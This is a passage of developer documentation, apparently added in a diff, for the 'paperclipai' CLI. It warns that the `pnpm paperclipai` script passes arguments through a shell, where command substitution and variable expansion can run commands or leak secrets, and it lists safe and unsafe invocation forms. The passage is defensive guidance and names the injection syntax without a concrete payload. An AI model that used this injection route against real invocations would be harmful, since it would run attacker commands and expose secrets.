it fetches the published package when no local +install is present. + +Do not use `pnpm paperclipai` for a content-bearing argument. `pnpm paperclipai` +is a `package.json` script. `pnpm` builds a `/bin/sh` command string and appends +the argument to it, so the shell reads the argument first. The shell interprets +these spans before the CLI starts: + +- command substitution: a backtick pair or `$( )` +- variable expansion: `$NAME` or `${NAME}` (this can leak a secret value into the persisted argument) + +A crafted value can run an arbitrary command as the invoking user. A crafted +value can also expand an environment variable into the stored argument. No +CLI-side check stops this, because the shell runs before `cli/src` starts. This +is true even when the argument comes from a quoted shell variable, because `pnpm` +re-evaluates the value in its own shell. + +Safe forms: + +- `npx paperclipai ` — the documented default. It passes an inert + `argv` value and runs on any machine. +- `node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts ` — + the safe form to run the local source from a monorepo checkout. It is the exact + command that the `pnpm paperclipai` script wraps, but it runs directly, so no + shell reads the argument. Use it when you must test your local `cli/src` + changes with a content-bearing argument. + +Unsafe or broken forms: + +- `pnpm paperclipai ` — unsafe. `pnpm` runs the argument through a + shell first. +- `pnpm run